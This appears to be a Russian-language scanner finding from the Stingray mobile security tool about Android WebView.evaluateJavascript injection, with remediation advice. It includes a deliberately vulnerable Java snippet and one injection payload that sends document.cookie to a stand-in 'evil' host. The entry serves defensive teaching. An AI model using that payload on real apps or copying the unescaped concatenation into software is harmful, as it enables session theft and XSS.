WebView вызывает evaluateJavascript
![]() |
Критичность: ИНФО |
| Способ обнаружения: DAST, WEBVIEW |
Описание
Метод WebView.evaluateJavascript(String script, ValueCallback<String>) исполняет переданную строку как JavaScript в контексте загруженной страницы. Stingray фиксирует факт вызова этого метода как информационную находку и сохраняет аргумент для анализа: если в исполняемый скрипт подставляются данные из недоверенного источника (Intent, deeplink, файл, сетевой ответ, межпроцессное взаимодействие), вызов превращается в канал инъекции кода.
Пример вызова, попадающего под наблюдение:
String name = getIntent().getStringExtra("user_name"); // недоверенный источник
webView.evaluateJavascript("setUserName('" + name + "')", null); // подстановка без экранирования
Если name равно '); fetch('https://evil/?c='+document.cookie); //, склейка превращается в исполняемый эксплойт.
Проблема
- Инъекция JavaScript (XSS). Непроверенные данные, склеенные со скриптом, позволяют злоумышленнику исполнить произвольный JavaScript в контексте страницы — с доступом к DOM, cookies,
localStorage/sessionStorageи JavaScript-мостам. - Эскалация через JavaScript-интерфейсы. Если приложение выставляет нативные методы через
@JavascriptInterface, инъекция вevaluateJavascriptведёт к их вызову и выполнению нативного кода. - Утечка данных. Через исполняемый скрипт можно прочитать и отправить наружу содержимое страницы и доступные приложению ресурсы.
- Недоверенный результат. Значение, возвращаемое в
ValueCallback, формируется веб-страницей и также является недоверенным — его нельзя использовать в чувствительных операциях без валидации.
Находка информационная: требуется ручная проверка того, контролируется ли аргумент evaluateJavascript (или базовая страница) внешним источником.
Рекомендации
-
Никогда не собирайте скрипт конкатенацией с внешними данными. Любое значение из Intent, deeplink, файла, сети или IPC, попадающее в тело JavaScript, — это потенциальная инъекция.
-
Передавайте данные как данные, а не как код. Корректно сериализуйте значение и передавайте его аргументом функции, объявленной на странице:
Передавайте сложные структуры через// JSONObject.quote экранирует кавычки, спецсимволы и переводы строк String safe = org.json.JSONObject.quote(name); // -> "\"...\"" webView.evaluateJavascript("window.setUserName(" + safe + ")", null);JSONцеликом (JSONObject/JSONArray→JSON.parseна странице), не «вклеивая» поля по отдельности. -
Предпочитайте обмен сообщениями вместо инъекции кода. Для канала native→web используйте
WebMessagePort/postWebMessage()илиWebViewCompat.postWebMessage(); для web→native —WebViewCompat.addWebMessageListener()с явнымallowedOriginRules. Это исключает исполнение произвольного кода и работает с проверкой источника: -
Если
evaluateJavascriptвсё же нужен — исполняйте только статические, заранее заданные скрипты, не зависящие от пользовательского ввода. Динамические части передавайте параметрами (см. п. 2). -
Минимизируйте JavaScript-мосты. Не выставляйте через
@JavascriptInterfaceчувствительные нативные методы; проверяйте источник вызова. Помните, что@JavascriptInterfaceдоступен любой странице, загруженной в WebView. -
Ограничьте исполнение скриптов через CSP. Для подконтрольных страниц задавайте
Content-Security-Policy(например, безunsafe-inline), чтобы инъекция не приводила к исполнению. -
Не передавайте секреты в контекст WebView. Токены, ключи и ПДн не должны попадать в DOM/JS, откуда их может извлечь XSS. (При работе с ПДн учитывайте требования 152-ФЗ.)
-
Возвращаемое значение
ValueCallbackсчитайте недоверенным и валидируйте перед использованием в нативной логике.
Ссылки
- https://developer.android.com/reference/android/webkit/WebView#evaluateJavascript(java.lang.String,%20android.webkit.ValueCallback%3Cjava.lang.String%3E)
- https://developer.android.com/privacy-and-security/risks/webview-unsafe-javascript-interface
- https://developer.android.com/reference/androidx/webkit/WebViewCompat#addWebMessageListener(android.webkit.WebView,java.lang.String,java.util.Set%3Cjava.lang.String%3E,androidx.webkit.WebViewCompat.WebMessageListener)
- https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0033/
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
- https://cwe.mitre.org/data/definitions/79.html
- https://cwe.mitre.org/data/definitions/20.html
- https://cwe.mitre.org/data/definitions/95.html
